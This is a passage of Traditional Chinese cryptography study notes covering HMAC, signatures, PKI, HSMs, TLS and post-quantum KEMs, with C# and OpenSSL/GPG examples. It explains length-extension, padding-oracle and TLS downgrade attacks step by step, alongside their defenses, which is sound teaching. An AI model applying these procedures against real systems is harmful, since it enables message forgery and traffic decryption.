因此 JWT 要用快雜湊，因為 JWT 和密碼的安全威脅模型不同：

• 密碼：攻擊者從資料庫竊取雜湊後，可以離線無限次暴力枚舉，速度越慢，攻擊越難。
• JWT HMAC：必須持有 Secret 金鑰才能產生合法簽章；沒有金鑰，就算知道用的是 SHA-256 也無法偽造，安全性靠的是金鑰保密，不是雜湊速度。

訊息鑑別碼（MAC, Message Authentication Code）

單純的雜湊（Hash）只能確認訊息「有沒有被竄改」，卻無法確認「是誰發的」。因為任何人都能輕易計算雜湊值，若攻擊者攔截並竄改訊息後，重新附上一個新的雜湊值，接收方根本無法分辨真偽。

MAC 在雜湊的基礎上引入了 「雙方共享金鑰」，同時達成兩項核心安全目標：

• 資料完整性：證明訊息在傳輸過程中未被竄改。
• 來源驗證（身分鑑別）：證明訊息確實來自持有相同金鑰的授權方。

運作流程：

1. 傳送方：將「訊息」與「金鑰」一起投入運算，產生一組固定長度的 驗證標籤 (Tag)，並連同訊息一起送出。
2. 接收方：收到訊息後，利用自己手上的相同金鑰重新計算一次標籤。
3. 驗證：若算出的標籤與收到的相符，代表「訊息完整且來源合法」；若不符，則直接拒絕該訊息。

HMAC (Hash-based MAC)

HMAC 是目前最普遍的 MAC 實作方式，底層依賴常規的雜湊函式（如 SHA-256）。

為什麼不能直接 Hash(金鑰 ‖ 訊息)？ 最直觀的想法是將金鑰直接拼接在訊息前面再進行雜湊。但這種結構（Keyed-Hash）存在嚴重的安全漏洞：攻擊者即使不知道金鑰，也能攔截封包，並在原本的訊息尾端「追加」惡意內容，再利用數學特性推算出新的合法雜湊值（此手法稱為長度延伸攻擊 Length Extension Attack）。

為了解決這個問題，HMAC 採用了 雙層巢狀雜湊（Nested Hash） 的設計架構：

• 內層運算：金鑰與 RFC 2104 定義的固定常數 ipad（0x36 × 區塊長度）做 XOR，拼接訊息，進行第一次雜湊，得到內層摘要。
• 外層運算：金鑰與另一固定常數 opad（0x5C × 區塊長度）做 XOR，拼接內層摘要，進行第二次雜湊，得到最終標籤。

兩個常數不同，使內外兩層的金鑰衍生值完全無關聯；外層雜湊截斷了 SHA-256 的內部狀態，攻擊者無法從最終輸出繼續延伸，從根本上免疫長度延伸攻擊。上述 XOR 與兩層雜湊均由 HMAC 實作函式庫內部完成，呼叫端只需傳入 K 與 M。

公式：HMAC(K, M) = H((K ⊕ opad) ‖ H((K ⊕ ipad) ‖ M))

符號說明

• ‖：串接（Concatenation），等同 A + B，將兩段資料頭尾拼接為一段。
• ⊕：XOR（互斥或），等同 A ^ B，兩段等長資料逐位元比對，相同為 0、相異為 1。

案例：API 轉帳請求的完整性保護

假設某 API 以共享金鑰保護轉帳請求，比較兩種 MAC 實作在長度延伸攻擊下的差異。

共享金鑰：K = "s3cr3tKey"
原始訊息：M = "amount=100&to=alice"

方案 A — SHA256(K ‖ M) 直接拼接：

傳送方計算：
  Tag = SHA256("s3cr3tKey" ‖ "amount=100&to=alice")

攻擊者攔截封包，取得 (M, Tag)
SHA-256 採 Merkle–Damgård 結構：最終輸出 = 消化完所有區塊後的內部狀態
→ 持有 Tag 等同持有「SHA-256 消化 K ‖ M 後的內部狀態」，可以繼續往下算

  追加 extra = "&override=9999&to=bob"
  NewTag = SHA256_continue(Tag, extra)
         ≡ SHA256("s3cr3tKey" ‖ "amount=100&to=alice" ‖ [padding] ‖ extra)
                                                                          ↑ 全程不需知道 K

接收方驗：SHA256(K ‖ 竄改訊息) == NewTag  ← 完全吻合，驗證通過，攻擊成功

[padding] 是什麼

SHA-256 在處理完輸入資料後，會自動在尾端進行 Merkle–Damgård 填充，以滿足 512 bits 區塊的運算要求。補位規則：

1. 標記結尾：在訊息尾端補上一個 1 bit。
2. 填零補位：持續補入 0 bit，直到整個區塊剩下最後 64 bits。
3. 記錄長度：在最後 64 bits 寫入原始輸入的總長度。

[ 原始輸入 K ‖ M ] [ 1 ] [ 00...補零...00 ] [ 原始長度 (64 bits) ]
|<---------------- 剛好為 512 bits 的倍數 ---------------->|

填充內容由原始輸入長度唯一決定，攻擊者只需知道 K ‖ M 的長度即可精確推算，這也是長度延伸攻擊可行的根本原因。

方案 B — HMAC：

傳送方計算：
  inner = SHA256((K ⊕ ipad) ‖ M)       ← 固定 256 bits 的內層摘要
  Tag   = SHA256((K ⊕ opad) ‖ inner)   ← 外層再包一次

攻擊者同樣取得 (M, Tag)，試圖追加 extra，從 Tag 延伸：

  攻擊者延伸後展開：
    SHA256((K ⊕ opad) ‖ SHA256((K ⊕ ipad) ‖ M) ‖ [padding] ‖ extra)
                               └───────────────────┘
                               inner_old（只含 M），extra 在外層

  真正的 HMAC(K, M ‖ extra) 展開：
    SHA256((K ⊕ opad) ‖ SHA256((K ⊕ ipad) ‖ M ‖ extra))
                               └──────────────────────┘
                               inner_new（M ‖ extra 一起進內層）

  inner_old ≠ inner_new → 外層輸入不同 → 驗證必然失敗，攻擊無效

並非所有完整性需求都需要 HMAC

HMAC 的前提是雙方已共享一把秘密金鑰，引入了金鑰管理的負擔（分發、輪換、撤銷）。若場景只需要「確認資料有沒有被改過」而不需要確認「是誰送來的」，直接用雜湊函式即可：

需求	適合方式	理由
只需確認資料完整性，雙方互信	雜湊（SHA-256）	無需金鑰，任何人都能驗算，無管理負擔
需要確認訊息來自持有金鑰的一方	HMAC	金鑰讓驗證具備身份含義
需要不可否認性（第三方可驗）	數位簽章	公私鑰分離，私鑰持有者無法否認

常見「只需雜湊」的場景：檔案完整性校驗（SHA-256 checksum）、Git commit hash、資料去重（Content-based Deduplication）。

CMAC (Cipher-based MAC)

CMAC 不依賴雜湊函式，而是底層改用 對稱式區塊加密（如 AES） 來產生驗證標籤，由 NIST SP 800-38B 制定為標準。

適用場景： 在已經具備硬體 AES 加速晶片的環境（如 HSM 硬體安全模組、IoT 嵌入式裝置、智慧卡）中，使用 CMAC 可以共用底層的 AES 運算單元，節省硬體資源，且高度符合 FIPS 的嚴格合規需求。

MAC vs 數位簽章

	MAC（HMAC）	數位簽章
金鑰類型	對稱（雙方共用同一把）	非對稱（私鑰簽、公鑰驗）
不可否認性	❌（雙方都能產生，無法區分）	✅（只有私鑰持有者能簽）
驗證方式	需共用金鑰	持公鑰即可驗，無需事先共享
速度	快	慢
典型用途	TLS 金鑰推導（HKDF）、JWT HS256、API 請求簽章	憑證、程式碼簽章、合約簽署

C# 範例：HMAC-SHA256 計算與驗證

using System.Security.Cryptography;
using System.Text;

// --- 產生 HMAC ---
byte[] key = RandomNumberGenerator.GetBytes(32); // 256-bit 金鑰
byte[] message = Encoding.UTF8.GetBytes("交易金額: 50000, 收款帳號: 1234-5678");

byte[] hmac = HMACSHA256.HashData(key, message);
Console.WriteLine($"HMAC-SHA256: {Convert.ToBase64String(hmac)}");

// --- 驗證 HMAC（接收方持有相同金鑰） ---
byte[] receivedMessage = Encoding.UTF8.GetBytes("交易金額: 50000, 收款帳號: 1234-5678");
byte[] computedHmac = HMACSHA256.HashData(key, receivedMessage);

bool isValid = CryptographicOperations.FixedTimeEquals(hmac, computedHmac);
Console.WriteLine($"HMAC 驗證結果: {isValid}");

// --- 竄改偵測 ---
byte[] tamperedMessage = Encoding.UTF8.GetBytes("交易金額: 99999, 收款帳號: 1234-5678");
byte[] tamperedHmac = HMACSHA256.HashData(key, tamperedMessage);

bool isTampered = CryptographicOperations.FixedTimeEquals(hmac, tamperedHmac);
Console.WriteLine($"竄改訊息驗證結果: {isTampered}"); // False

數位簽章與一般加密：公私鑰用法比較

非對稱加密的兩種用途，公私鑰的使用方向恰好相反：

一般加密（傳送機密資料）

步驟	動作	使用的金鑰
1	傳送方加密原文	接收方的公鑰
2	接收方解密	接收方的私鑰

目的：機密性（只有持有私鑰的接收方能讀取）

數位簽章（驗證來源與完整性）

步驟	動作	使用的金鑰
1	傳送方對原文做快雜湊（如 SHA-256）→ 訊息摘要（Message Digest）	—
2	傳送方用私鑰加密摘要 → 數位簽章	傳送方的私鑰
3	傳送「原文 + 數位簽章」	—
4	接收方用公鑰解密簽章 → 取得摘要 A	傳送方的公鑰
5	接收方對原文做相同的快雜湊（如 SHA-256）→ 取得摘要 B	—
6	比對摘要 A 與 B → 相同即驗證通過	—

目的：完整性 + 不可否認性（原文以明文傳送，不保證機密性）

數位簽章的常見誤解

• 數位簽章 ≠ 加密：簽章流程中原文是明文傳送的，只保證「誰發的」和「有沒有被改過」。
• 如果同時需要機密性 + 簽章：先簽章，再用接收方公鑰（或對稱金鑰）加密整體。
• 為什麼要先做快雜湊再簽章？非對稱加密速度極慢，直接對整份文件簽章不切實際；快雜湊後的摘要是固定長度（如 SHA-256 = 256 bits），簽章速度快很多。這裡不使用慢雜湊，因為簽章要的是完整性與效率，不是抗離線暴力破解。

數位信封（Digital Envelope）

數位信封結合對稱與非對稱加密的優點，是實務中最常見的混合加密方式：

1. 發送方產生一次性對稱金鑰（Session Key），用它加密資料（速度快）。
2. 用接收方的公鑰加密該對稱金鑰（只加密短短的金鑰，非對稱加密可負擔）。
3. 將加密後的資料與加密後的對稱金鑰一併傳送。
4. 接收方用自己的私鑰解密對稱金鑰，再用對稱金鑰解密資料。

與數位簽章的區別：

機制	保護目標	使用的金鑰
數位信封	機密性（只有接收方能讀）	接收方公鑰加密、接收方私鑰解密
數位簽章	完整性 + 不可否認性（確認來源）	發送方私鑰簽章、發送方公鑰驗證

TLS 握手中的金鑰交換本質上就是數位信封的應用。

對稱 vs 非對稱 vs 混合加密的選用時機

場景	建議方案	理由
大量資料加密（磁碟、檔案、資料庫）	對稱加密（AES-GCM）	速度快，適合大量資料
金鑰交換、數位簽章	非對稱加密（RSA / ECC）	解決金鑰分發問題，提供身分驗證
網路傳輸（TLS、電子郵件加密）	混合加密（數位信封）	結合兩者優點：非對稱交換金鑰 + 對稱加密資料
密碼儲存	Key Stretching（Argon2id / bcrypt）	單向雜湊，不需解密
資料完整性驗證	HMAC / 數位簽章	HMAC 適合雙方共享金鑰；簽章適合公開驗證

PKI（Public Key Infrastructure）信任鏈

元件	英文	說明
根 CA	Root CA	信任鏈的最頂端，自簽憑證，內建於瀏覽器/作業系統的信任清單中
中繼 CA	Intermediate CA	由根 CA 簽發，代為簽發終端憑證，降低根 CA 私鑰暴露風險
登錄機構（RA）	Registration Authority	CA 的身分審查前端，負責驗證申請者身分（如網域所有權、組織文件），審核通過後通知 CA 簽發憑證；CA 本身不直接接觸申請者
終端憑證	End-Entity Certificate	網站或服務使用的憑證，由中繼 CA 簽發
憑證撤銷清單（CRL）	Certificate Revocation List	定期發布的已撤銷憑證清單，客戶端需主動下載檢查
線上憑證狀態協定（OCSP）	Online Certificate Status Protocol	即時查詢單張憑證的撤銷狀態，比 CRL 更即時

憑證信任鏈與 OCSP Stapling

• 信任鏈驗證流程：瀏覽器收到伺服器憑證 → 檢查簽發者（中繼 CA）→ 追溯到根 CA → 確認根 CA 在信任清單中。
• OCSP Stapling：由伺服器代為向 CA 查詢自己的憑證狀態，將結果附在 TLS 握手中傳給客戶端，避免客戶端直接連 CA（降低延遲與隱私風險）。

C# 範例：X.509 憑證載入與驗證

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;

// --- 載入 PFX 憑證（含私鑰） ---
string pfxPath = "server.pfx";
string pfxPassword = "P@ssw0rd";
using X509Certificate2 cert = new(pfxPath, pfxPassword, X509KeyStorageFlags.EphemeralKeySet);

Console.WriteLine($"Subject:    {cert.Subject}");
Console.WriteLine($"Issuer:     {cert.Issuer}");
Console.WriteLine($"Not Before: {cert.NotBefore:yyyy-MM-dd}");
Console.WriteLine($"Not After:  {cert.NotAfter:yyyy-MM-dd}");
Console.WriteLine($"Thumbprint: {cert.Thumbprint}");
Console.WriteLine($"Algorithm:  {cert.SignatureAlgorithm.FriendlyName}");
Console.WriteLine($"Has PK:     {cert.HasPrivateKey}");

// --- 驗證憑證鏈 ---
using X509Chain chain = new();
chain.ChainPolicy.RevocationMode = X509RevocationMode.Online;
chain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
chain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;

bool isChainValid = chain.Build(cert);
Console.WriteLine($"<br />憑證鏈驗證結果: {isChainValid}");

foreach (X509ChainElement element in chain.ChainElements) {
    Console.WriteLine($"  [{element.Certificate.Subject}]");
    foreach (X509ChainStatus status in element.ChainElementStatus) {
        Console.WriteLine($"    Status: {status.StatusInformation}");
    }
}

// --- 用憑證進行 RSA 簽章 ---
using RSA? rsaPrivateKey = cert.GetRSAPrivateKey();
if (rsaPrivateKey is not null) {
    byte[] data = Encoding.UTF8.GetBytes("待簽章資料");
    byte[] signature = rsaPrivateKey.SignData(
        data,
        HashAlgorithmName.SHA256,
        RSASignaturePadding.Pss
    );
    Console.WriteLine($"<br />RSA 簽章: {Convert.ToBase64String(signature)}");

    using RSA? rsaPublicKey = cert.GetRSAPublicKey();
    bool verified = rsaPublicKey!.VerifyData(
        data,
        signature,
        HashAlgorithmName.SHA256,
        RSASignaturePadding.Pss
    );
    Console.WriteLine($"簽章驗證: {verified}");
}

HSM（Hardware Security Module，硬體安全模組）

HSM 是專門設計用於保護密碼學金鑰的物理設備，提供防竄改（Tamper-Resistant）的安全環境：

面向	說明
核心功能	金鑰產生、儲存、使用均在硬體內部完成，私鑰永遠不離開 HSM
防竄改設計	物理拆解時自動銷毀金鑰（Zeroization）
合規標準	FIPS 140-2 / FIPS 140-3（美國聯邦標準），分為 Level 1–4
常見用途	CA 根金鑰保護、銀行交易簽章、TLS 私鑰保護、程式碼簽章
雲端形式	AWS CloudHSM、Azure Dedicated HSM、GCP Cloud HSM

HSM 與金鑰保護

• HSM 與軟體金鑰管理（如 Azure Key Vault、AWS KMS）的差異：HSM 保證金鑰在 FIPS 驗證的硬體邊界內運算，軟體方案的金鑰可能短暫出現在記憶體中。
• 企業級 PKI 的根 CA 私鑰通常存放在離線 HSM（不連網），僅在簽發中繼 CA 憑證時才啟用。

金鑰歸檔與託管

機制	英文	說明	風險
金鑰歸檔	Key Archiving	組織自行保存加密金鑰的副本，以備未來需要解密歷史資料（如員工離職後需讀取其加密的檔案）	歸檔儲存本身成為攻擊目標
金鑰託管	Key Escrow	金鑰副本交由可信第三方（如政府機關或公正單位）保管，特定條件下（如法院命令）可取回	第三方遭入侵或濫權，造成大規模金鑰洩漏

• 金鑰歸檔通常僅適用於加密金鑰，簽章金鑰不應歸檔（否則他人可冒名簽章）。
• 歸檔金鑰必須以高強度加密儲存，並嚴格限制存取權限（如多人分持解密）。

TLS（Transport Layer Security）

版本演進對照表（SSL → TLS）

版本	發布年份	現行狀態	主要改動與里程碑
SSL 2.0	1995	廢棄（RFC 6176）	最初公開版本，設計缺陷嚴重：MAC 使用 MD5 這類快雜湊、握手缺乏完整性保護、無法防重放攻擊。
SSL 3.0	1996	廢棄（RFC 7568）	大幅修正 SSL 2.0，但仍存在 POODLE（Padding Oracle On Downgraded Legacy Encryption）攻擊，利用 CBC（Cipher Block Chaining，密碼區塊鏈接）填充缺陷，整體設計已無法修補。
TLS 1.0	1999	廢棄（RFC 8996）	以 SSL 3.0 為基礎重新定義，引入 HMAC（Hash-based Message Authentication Code，雜湊訊息鑑別碼）取代 MAC，但 IV（Initialization Vector，初始化向量）固定導致 BEAST（Browser Exploit Against SSL/TLS）攻擊可行。
TLS 1.1	2006	廢棄（RFC 8996）	加入顯式 IV（Explicit IV）修正 BEAST 漏洞，改進有限，主要為過渡版本。
TLS 1.2	2008	廣泛部署，仍有效	引入 AEAD（Authenticated Encryption with Associated Data，附加資料的認證加密）加密模式（AES-GCM）；以 SHA-256 等快雜湊取代 MD5/SHA-1；支援 ECDHE（Elliptic Curve Diffie-Hellman Ephemeral，橢圓曲線 Diffie-Hellman 臨時金鑰交換）實現前向保密（PFS，Perfect Forward Secrecy）。
TLS 1.3	2018（RFC 8446）	現行標準	移除所有弱演算法（RSA 靜態金鑰交換、RC4、DES、3DES）；金鑰交換強制使用臨時 (EC)DHE，提供前向保密（PFS）；握手從 2-RTT（RTT，Round-Trip Time，來回時間）縮為 1-RTT；支援 0-RTT 快速重連。

TLS 版本演進

• SSL 2.0 / 3.0：存在根本性設計缺陷，整批廢棄，任何場景均不應再使用。
• TLS 1.0 / 1.1：SSL 的延伸修補，進步有限，已於 2021 年被主流瀏覽器全面停用。
• TLS 1.2：現代 HTTPS 的基礎里程碑，引入 AEAD + SHA-256 + ECDHE，目前仍大量部署。這裡的 SHA-256 屬於快雜湊用途，用來做握手完整性與 HMAC / PRF 等密碼學運算。
• TLS 1.3：剷除所有「向下相容」的妥協空間，金鑰交換強制使用臨時 (EC)DHE，握手速度更快。唯一例外是 PSK-only 連線恢復模式不具前向保密（PFS）。

TLS 1.2 握手流程（ECDHE 金鑰交換）

TLS 握手的目的是在不安全的網路上安全地建立對稱加密金鑰。以下是 TLS 1.2 使用 ECDHE 金鑰交換的完整流程：

步驟	方向	動作	傳輸狀態	目的
1	Client → Server	Client Hello	明文	告知支援的加密套件（Cipher Suite）、TLS 版本、Client Random
2	Server → Client	Server Hello	明文	選定加密套件、回傳 Server Random
3	Server → Client	Certificate	明文	出示 X.509 憑證（含伺服器公鑰），供客戶端驗證身分
4	Server → Client	Server Key Exchange	明文（含簽章）	傳送 ECDHE 臨時公鑰，並用伺服器長期私鑰簽章確保參數未被竄改
5	Client → Server	Client Key Exchange	明文	傳送客戶端的 ECDHE 臨時公鑰
6	雙方各自	計算 Pre-Master Secret	不傳送	雙方各自用對方的 ECDHE 公鑰 + 自己的 ECDHE 私鑰，獨立算出相同的值
7	雙方各自	推導 Session Key	不傳送	用 Client Random + Server Random + Pre-Master Secret 推導對稱加密金鑰
8	雙方	Change Cipher Spec	明文	通知對方：接下來的訊息改用對稱加密
9	雙方	Finished	加密	第一則加密訊息，驗證整個握手過程的完整性；其驗證基礎屬於快雜湊家族的密碼學運算
10	雙方	應用資料傳輸	對稱加密	所有後續資料使用 Session Key 加密傳輸

TLS 握手的關鍵設計

• 為什麼不直接用非對稱加密傳資料？ 非對稱加密速度極慢（比對稱慢數百到數千倍），只用在握手階段協商對稱金鑰。
• ECDHE 的 E（Ephemeral） 代表「臨時金鑰」：每次連線都產生新的金鑰對，即使伺服器長期私鑰日後洩漏，過去的通訊仍無法解密，這就是前向保密（PFS，Perfect Forward Secrecy）。
• 步驟 4 的簽章用的是伺服器的長期私鑰（對應憑證中的公鑰），不是 ECDHE 臨時私鑰。簽章前一樣會先對參數做快雜湊，目的是讓客戶端確認「這些 ECDHE 參數確實來自真正的伺服器」。
• TLS 1.3 的簡化：移除 Change Cipher Spec，握手從 2-RTT 縮為 1-RTT；支援 0-RTT 快速重連（但有重放攻擊風險）。

TLS 1.3 的改進

面向	TLS 1.2	TLS 1.3
金鑰交換	支援 RSA 靜態金鑰交換（無 PFS）	僅允許臨時的 ECDHE / DHE，提供前向保密
握手延遲	2-RTT	1-RTT（支援 0-RTT 快速重連）
加密套件	支援 CBC、RC4 等舊模式	僅允許 AEAD（AES-GCM、ChaCha20-Poly1305）
雜湊演算法	支援 MD5、SHA-1	僅允許 SHA-256 以上的快雜湊
握手加密	握手過程大部分為明文	握手訊息在 Server Hello 後即加密
0-RTT	不支援	支援（有重放攻擊風險，需謹慎使用）

實務建議：新系統應以 TLS 1.3 為預設；若需支援舊客戶端，允許 TLS 1.2 但必須停用 RSA 金鑰交換與 CBC 模式。

前向保密（Perfect Forward Secrecy，PFS）

前向保密確保伺服器長期私鑰洩漏時，過去的加密通訊仍然安全：

金鑰交換方式	PFS	說明
RSA 靜態金鑰交換	❌	客戶端用伺服器公鑰加密 Pre-Master Secret；伺服器私鑰洩漏後，所有歷史流量皆可解密
DHE / ECDHE（臨時金鑰）	✅	每次連線產生新的臨時金鑰對；連線結束後臨時私鑰即銷毀，即使長期私鑰洩漏也無法回溯解密

TLS 1.3 的一般完整握手強制使用臨時 (EC)DHE，提供前向保密；PSK-only 連線恢復模式與 0-RTT 早期資料不在此保證範圍內。

Diffie-Hellman 金鑰交換與中間人攻擊風險

Diffie-Hellman（DH）允許雙方在不安全的通道上協商出共用密鑰，但原始 DH 協定不提供身分驗證，易受中間人攻擊（MitM，Man-in-the-Middle）：

防範措施：在 TLS 中，DH/ECDHE 參數必須搭配伺服器的數位簽章（先對參數做快雜湊，再用長期私鑰簽署），讓客戶端驗證參數確實來自合法伺服器。這就是 TLS 握手步驟 4（Server Key Exchange + 簽章）的作用。

密碼學攻擊手法

攻擊類型	英文	說明	目標
生日攻擊	Birthday Attack	利用生日悖論，在 2^(n/2) 次嘗試內找到雜湊碰撞（n 為雜湊位元數）。例如 128-bit 雜湊僅需約 2^64 次嘗試	雜湊函式（MD5、SHA-1）
長度延伸攻擊	Length Extension Attack	對 Merkle–Damgård 結構的雜湊函式（MD5、SHA-1、SHA-2），攻擊者持有 H(secret ‖ message) 的輸出後，無需知道 secret，就能計算出追加額外內容後的新合法雜湊。常被用來攻擊以「key 直接拼在 message 前面再雜湊」實作的 MAC	雜湊函式；以 H(key ‖ message) 實作的 MAC
已知明文攻擊	Known Plaintext Attack	攻擊者擁有部分「明文 + 對應密文」配對，推導金鑰或解密其他密文	對稱加密
選擇明文攻擊	Chosen Plaintext Attack	攻擊者可選擇任意明文並取得其密文（如存取加密 Oracle），藉此推導金鑰	對稱/非對稱加密
選擇密文攻擊	Chosen Ciphertext Attack	攻擊者可選擇密文並取得解密結果，逆推金鑰。RSA 無填充時特別脆弱	非對稱加密
旁路攻擊	Side-Channel Attack	透過執行時間、功耗、電磁輻射等物理特徵推導金鑰，而非直接攻擊演算法數學	所有加密實作
重放攻擊	Replay Attack	攔截並重送合法的加密訊息（如認證 Token），冒充合法使用者	認證協定
填充 Oracle 攻擊	Padding Oracle Attack	利用伺服器對填充錯誤的不同回應，逐位元組解密密文（如 POODLE、Lucky 13）	CBC 模式填充
降級攻擊	Downgrade Attack	強迫通訊雙方使用較弱的加密版本或演算法（如 POODLE 迫使降回 SSL 3.0）	協定協商

防範重點

• 生日攻擊：使用 256-bit 以上的雜湊函式（SHA-256+），碰撞需 2^128 次嘗試。
• 長度延伸攻擊：使用 HMAC 而非 H(key ‖ message)；或改用 SHA-3（Keccak 海綿函式結構，天然不受此攻擊影響）。
• 旁路攻擊：使用常數時間比較（如 CryptographicOperations.FixedTimeEquals），避免 Timing Attack。
• 降級攻擊：停用所有已知不安全的協定版本與加密套件。

生日攻擊：為什麼叫「生日」？

生日悖論（Birthday Paradox）：在一個房間裡只需要 23 個人，就有超過 50% 的機率有兩人同一天生日。直覺上這個數字很低（一年有 365 天），但反直覺的關鍵是：我們找的是任意一對互相匹配，而不是「和某個指定的人相同」。

23 個人之間有 23 × 22 ÷ 2 = 253 組配對需要比較，機率因此急速上升。

攻擊目標	代價	類比
前像攻擊（Pre-image）：找到對應特定雜湊值的輸入	2^n 次嘗試	找到和某位指定的人同天生日的人
碰撞攻擊（Collision）：找到雜湊值相同的任意兩個輸入	2^(n/2) 次嘗試	找到房間裡任意兩個同天生日的人

碰撞攻擊的代價只有前像攻擊的「一半指數」，因此選擇雜湊長度時，必須把碰撞攻擊納入考量。

• SHA-1（160-bit）：碰撞理論需 2^80 次，Google 已於 2017 年（SHAttered 計畫）真正找出碰撞，SHA-1 正式宣告不安全。
• SHA-256（256-bit）：碰撞需 2^128 次，目前無法破解。

填充 Oracle 攻擊：如何逐位元組解密密文？

CBC 解密公式：P_i = D(C_i) ⊕ C_{i-1}，其中 D 為區塊解密，C 為密文，P 為明文。

PKCS#7 填充規則：明文尾端需補齊至 16 bytes。缺 k bytes 就補 k 個值為 k 的位元組：

缺 1 byte  → 補 01
缺 2 bytes → 補 02 02
缺 3 bytes → 補 03 03 03

攻擊原理：伺服器解密後會驗證填充，若格式不合法就回傳「填充錯誤」。這個錯誤回應就是「Oracle」（可詢問的黑盒），攻擊者透過它一個 byte 一個 byte 還原明文：

1. 取最後一個密文區塊 C_n 與前一個 C_{n-1}。
2. 逐一嘗試修改 C_{n-1} 的最後一個 byte（共 256 種）。
3. 當伺服器回傳「填充正確」，代表解密後最後一個 byte 恰好為 0x01。
4. 推算：D(C_n)[last] = 0x01 ⊕ 測試值，再反推真實明文：P_n[last] = D(C_n)[last] ⊕ 原始 C_{n-1}[last]。
5. 已知最後一個 byte 後，調整期望填充為 02 02，重複推算倒數第二個 byte，直到整個區塊還原完畢。

每個 byte 最多 256 次詢問，16 bytes 一個區塊最多 4,096 次即可解密一整個區塊。POODLE 與 Lucky 13 攻擊皆屬此類。

旁路攻擊的完整說明（含時序攻擊逐 byte 案例、大數法則、Spectre 與雲端共駐），參見常見軟體漏洞利用手法對照表。

降級攻擊：如何偽造「能力不足」騙伺服器用舊協議？

TLS 握手的第一步，用戶端傳送 ClientHello，宣告自己支援的協議版本與加密套件清單，伺服器從中選最高版本回應。

攻擊流程（以 POODLE 為例）：

1. 攻擊者（中間人）攔截用戶端的 ClientHello。
2. 將支援版本清單從 TLS 1.3, 1.2, 1.1, 1.0, SSL 3.0 竄改為只剩 SSL 3.0。
3. 伺服器收到後認為對方只支援 SSL 3.0，依規格降級協商。
4. SSL 3.0 的 CBC 填充規則存在 POODLE 漏洞，攻擊者隨即可解密流量。

為什麼攻擊可行：伺服器為了相容舊版用戶端（老版瀏覽器、舊設備），通常同時開啟多個版本；只要舊版還開著，降級目標就存在。

防禦：

• 伺服器端：明確停用 TLS 1.1 以下所有版本，讓舊版無路可降。
• TLS 1.3：支援 TLS 1.3 的伺服器若與 client 協商到 TLS 1.2 或更低版本，須在 ServerHello.Random 的最後 8 bytes 寫入降版哨兵值（Downgrade Sentinel）；client 偵測到後即中止握手，避免遭受降版攻擊。

常用密碼學工具指令範例

OpenSSL 常用指令

# --- 產生 RSA 私鑰（2048-bit） ---
openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:2048

# --- 從私鑰匯出公鑰 ---
openssl pkey -in private.pem -pubout -out public.pem

# --- 產生 ECDSA 私鑰（P-256 曲線） ---
openssl genpkey -algorithm EC -out ec-private.pem -pkeyopt ec_paramgen_curve:P-256

# --- 產生自簽憑證（有效期 365 天） ---
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/C=TW/ST=Taipei/L=Taipei/O=MyOrg/CN=localhost"

# --- 檢視憑證內容 ---
openssl x509 -in cert.pem -text -noout

# --- 檢視遠端伺服器憑證鏈 ---
openssl s_client -connect www.google.com:443 -showcerts </dev/null 2>/dev/null | \
  openssl x509 -text -noout

# --- 驗證憑證 ---
openssl verify -CAfile ca-bundle.pem cert.pem

# --- AES-256-CBC 加密檔案（使用 PBKDF2 推導金鑰） ---
openssl enc -aes-256-cbc -salt -pbkdf2 -in plain.txt -out encrypted.bin

# --- AES-256-CBC 解密檔案 ---
openssl enc -aes-256-cbc -d -pbkdf2 -in encrypted.bin -out decrypted.txt

# --- 計算 SHA-256 雜湊 ---
openssl dgst -sha256 file.txt

# --- HMAC-SHA256 ---
openssl dgst -sha256 -hmac "my-secret-key" file.txt

• 官方文件：https://docs.openssl.org/master/man1/openssl/

GPG 常用指令

# --- 產生金鑰對 ---
gpg --full-generate-key

# --- 列出金鑰 ---
gpg --list-keys
gpg --list-secret-keys

# --- 對稱加密檔案（AES-256，以密碼保護） ---
gpg --symmetric --cipher-algo AES256 -o encrypted.gpg plain.txt

# --- 對稱解密 ---
gpg --decrypt -o decrypted.txt encrypted.gpg

# --- 非對稱加密（用接收方公鑰） ---
gpg --encrypt --recipient [email protected] -o encrypted.gpg plain.txt

# --- 非對稱解密 ---
gpg --decrypt -o decrypted.txt encrypted.gpg

# --- 數位簽章 ---
gpg --sign --armor -o signed.asc document.txt

# --- 驗證簽章 ---
gpg --verify signed.asc

# --- 匯出公鑰 ---
gpg --export --armor [email protected] > public.asc

# --- 匯入公鑰 ---
gpg --import public.asc

• 官方文件：
  • GnuPG Manuals：https://www.gnupg.org/documentation/manuals.en.html
  • GNU Privacy Guard Manual：https://preview.gnupg.org/documentation/manuals/gnupg/index.html

後量子密碼學（PQC）與金鑰封裝機制（KEM）

後量子密碼學（Post-Quantum Cryptography，PQC） 是針對量子電腦威脅設計的加密演算法，旨在取代目前仰賴「大數分解難題」（RSA）或「離散對數難題」（ECC、DH）的傳統非對稱加密。秀爾演算法（Shor's Algorithm）能在量子電腦上以多項式時間破解這些具有週期性代數結構的難題；PQC 改用量子電腦同樣無法加速的數學基礎作為安全根基。

NIST PQC 標準化結果（2024 年正式標準）：

演算法	中文說明	類型	數學基礎	標準
CRYSTALS-Kyber（ML-KEM）	模組格金鑰封裝機制	金鑰封裝（KEM）	格密碼（Lattice）	FIPS 203
CRYSTALS-Dilithium（ML-DSA）	模組格數位簽章演算法	數位簽章	格密碼（Lattice）	FIPS 204
SPHINCS+（SLH-DSA）	無狀態雜湊數位簽章演算法	數位簽章	雜湊函式	FIPS 205

為什麼格密碼（Lattice）難題具備後量子安全性

格密碼（格密碼學，Lattice-based Cryptography）的安全性建立在帶錯誤的學習問題（LWE，Learning With Errors，帶誤差學習問題）等高維幾何難題上。

LWE 的直觀理解：給你大量帶有微小隨機誤差的線性方程組（b = A·s + e mod q，其中 A、b 已知，s 為隱藏秘密向量，e 為隨機誤差），問能否反推 s？

• 沒有誤差（e = 0）：解線性方程組，中學數學可解。
• 加入隨機誤差（e ≠ 0）：問題指數級地難，目前無論傳統電腦或量子電腦均無已知的有效演算法。

秀爾演算法利用量子傅立葉轉換（QFT）針對週期性代數結構加速；LWE 的隨機誤差破壞了這種規律性，量子加速在此失效。

金鑰封裝機制（Key Encapsulation Mechanism，KEM）：

KEM 是後量子時代用於安全傳遞對稱金鑰的機制，功能上等同於「後量子版數位信封」：

1. 接收方產生 KEM 公鑰 / 私鑰對。
